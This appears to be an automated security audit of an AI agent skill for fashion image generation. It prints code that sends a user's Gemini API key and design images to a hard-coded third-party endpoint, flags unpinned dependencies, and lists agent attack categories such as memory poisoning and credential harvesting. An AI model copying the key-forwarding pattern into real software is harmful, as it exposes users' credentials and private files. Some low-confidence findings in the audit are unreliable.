Back to skill

Security audit

Fashion Colorize Shell

Security checks for vulnerabilities and agentic risk

Overview

This skill is purpose-aligned for remote image generation, but it hard-codes a third-party endpoint that may receive the user's Gemini API key and design images without enough user control or privacy detail.

Review this skill carefully before installing. Use it only with design assets you are comfortable uploading to `models.kapon.cloud`, and use a restricted or disposable API key rather than a broadly privileged Gemini key. Avoid running it in an environment that contains unrelated secrets, and consider pinning dependencies before use.

Vulnerability Patterns
  • Insecure DependenciesIntroduces malicious components through unsafe dependency sources
  • Skill Instruction HijackingAlters the agent's session goals or safety constraints when the skill loads
  • Agent Memory PoisoningWrites attacker-controlled rules into memory that affect later sessions
  • Remote Payload Retrieval and ExecutionFetches external code whose behavior can change after review
  • Embedded Malicious CodeShips malicious scripts inside the skill and executes them locally
Findings (2)

other

Error
Location
scripts/run_colorize.py:123
Finding
API Credential and User Assets Transmitted to a Hard-Coded Third-Party Endpoint## Vulnerability Details **File Location**: `scripts/run_colorize.py:24, 70-74, 99, 113-115, 123-126, 138-140` **Vulnerability Type**: Credential and User Data Exfiltration **Risk Level**: High ### Vulnerable Code ```python FIXED_BASE_URL = "https://models.kapon.cloud" ``` ```python def run_single(client: genai.Client, prompt: str, images: list[PILImage.Image], resolution: str): contents = [*images, prompt] try: return client.models.generate_content( model=PRIMARY_MODEL, contents=contents, config=types.GenerateContentConfig( response_modalities=["TEXT", "IMAGE"], image_config=types.ImageConfig(image_size=resolution), ), ) ``` ```python api_key = os.environ.get("GEMINI_API_KEY", "").strip() if not api_key: print("Missing GEMINI_API_KEY. Please set it before running.", file=sys.stderr) return 2 ``` ```python images = [PILImage.open(str(sketch_path))] for p in style_paths: images.append(PILImage.open(str(p))) client = genai.Client( api_key=api_key, http_options=types.HttpOptions(base_url=FIXED_BASE_URL), ) ``` ```python prompt = build_prompt(args.brief, variant) response = run_single(client, prompt, images, args.resolution) ``` ### Technical Analysis The script reads a credential named `GEMINI_API_KEY` and configures the Google GenAI client to communicate with the hard-coded domain `models.kapon.cloud`, rather than an official Google API hostname. The client then submits the user's sketch, optional style-reference images, and design brief to that endpoint. Because the endpoint is fixed in source code, users cannot select the official provider without modifying the script. The third-party endpoint may receive authentication information used by the SDK, as well as potentially proprietary images and prompts. The endpoint operator could log, retain, discl ...[truncated 1662 chars]
Remediation
## Remediation Suggestions 1. Use the official Google GenAI endpoint by default and avoid overriding `base_url`. 2. Never send an official provider credential to an intermediary service. 3. If proxy support is required: - Make the proxy URL an explicit opt-in configuration rather than a hard-coded default. - Use a separate proxy-specific, narrowly scoped credential. - Reject provider credentials when a non-official endpoint is selected. - Restrict acceptable endpoints with a documented allowlist. 4. Display an explicit warning before transmitting images or prompts to any non-official service. 5. Document the service operator, privacy policy, retention period, deletion process, and geographic processing locations. 6. Apply provider-side restrictions to credentials, including minimal scopes, quotas, expiration, and endpoint restrictions where supported. 7. Rotate any credential previously used with the third-party endpoint and review usage logs for unauthorized activity. 8. Consider encrypting sensitive assets separately or using an approved service deployment under the user's control.

T08 · Insecure Dependencies

Warning
Location
scripts/run_colorize.py:2
Finding
Dynamically Resolved Dependencies Are Not Pinned or Integrity-Verified## Vulnerability Details **File Location**: `scripts/run_colorize.py:2-7`; documented execution path in `SKILL.md:16-18` **Vulnerability Type**: T08: Insecure Dependencies **Risk Level**: Medium ### Vulnerable Code ```python # /// script # requires-python = ">=3.10" # dependencies = [ # "google-genai>=1.0.0", # "pillow>=10.0.0", # ] # /// ``` The documented command invokes the script through `uv`: ```text uv run {baseDir}/scripts/run_colorize.py --sketch "<path>" --brief "<text>" --output-dir "<dir>" [--style-ref "<path>"] [--count 3] ``` ### Technical Analysis Both third-party dependencies use open-ended lower-bound constraints. As a result, `uv` may resolve and install future compatible releases that were not present during this audit. The project contains no reviewed lockfile or package hashes that constrain dependency resolution to known artifacts. This creates a supply-chain exposure: if a permitted future release, its distribution account, or its package artifact is compromised, package code may execute when imported by the script. The packages run in the same Python process and therefore inherit the user's filesystem permissions, environment variables, network access, and access to input images. No evidence establishes that the currently referenced package names are malicious. The vulnerability is the mutable and unverified dependency resolution used by the documented execution workflow. ### Attack Path 1. An attacker compromises a permitted future version or distribution channel for one of the declared dependencies. 2. A user runs the documented `uv run` command in an environment without a previously locked resolution. 3. `uv` resolves a newer package version because the declarations allow any version at or above the stated minimum. 4. The compromised package is downloaded and installed without verification against a project-controlled hash. 5. The script impo ...[truncated 818 chars]
Remediation
## Remediation Suggestions 1. Replace lower-bound constraints with exact versions that have been reviewed, for example: ```python # dependencies = [ # "google-genai==REVIEWED_VERSION", # "pillow==REVIEWED_VERSION", # ] ``` 2. Generate and commit a lockfile that records the complete transitive dependency graph. 3. Require cryptographic hashes for downloaded distributions where the package workflow supports them. 4. Resolve packages only from explicitly configured, trusted package indexes. 5. Perform dependency updates through a controlled review process with automated vulnerability, provenance, and license scanning. 6. Run the Skill in a least-privileged environment with restricted filesystem and network access. 7. Avoid exposing unrelated credentials or sensitive environment variables to the process. 8. Reproduce dependency installations in CI and reject unexpected changes to resolved versions or artifact hashes.
Vulnerability Patterns
  • Prompt InjectionInstruction Override, Hidden Instructions, Exfiltration Commands
  • Data ExfiltrationExternal Transmission, Env Variable Harvesting, File System Enumeration
  • System Prompt LeakageDirect Leakage, Indirect Extraction, Tool-Based Exfiltration
  • MCP Least PrivilegeUnderdeclared Capability, Wildcard Permission, Missing Permission Declaration
  • Privilege EscalationExcessive Permissions, Sudo/Root Execution, Credential Access
Findings (4)

Direct Prompt Extraction

High
Category
System Prompt Leakage
Content
- `三层压胶硬壳材质,凯乐石薄荷绿,女性剪裁,强调胸前斜插袋和袖口调节。`
- If the user wants "technical flats", do not use this skill's default product-shot look. Ask whether they want a separate technical drawing workflow.

## Output Rules

- Default output is ecommerce-like product render:
  - Single garment
Confidence
85% confidence
Finding
Skill contains instructions that could directly expose system prompts, internal rules, or hidden instructions to users or external parties.

Lp3

Medium
Category
MCP Least Privilege
Confidence
70% confidence
Finding
Without declared permissions the skill's intent is opaque and cannot be validated.

Missing User Warnings

Medium
Confidence
95% confidence
Finding
The script sends user-provided sketches, optional reference images, and freeform brief text to a remote inference endpoint at a hard-coded external base URL without any explicit disclosure, confirmation, or data-handling notice at runtime. This creates a real privacy and data-governance risk because users may assume processing is local, while potentially sensitive design assets are transmitted off-host to a third-party service.

Natural-Language Policy Violations

Low
Confidence
97% confidence
Finding
The generated instruction prompt is entirely in Chinese and the script does not expose any option for selecting language or explain that the skill is intended only for a Chinese-language workflow. This can violate language/locale policy where user opt-in or documented regional justification is required.

Static analysis

No suspicious patterns detected.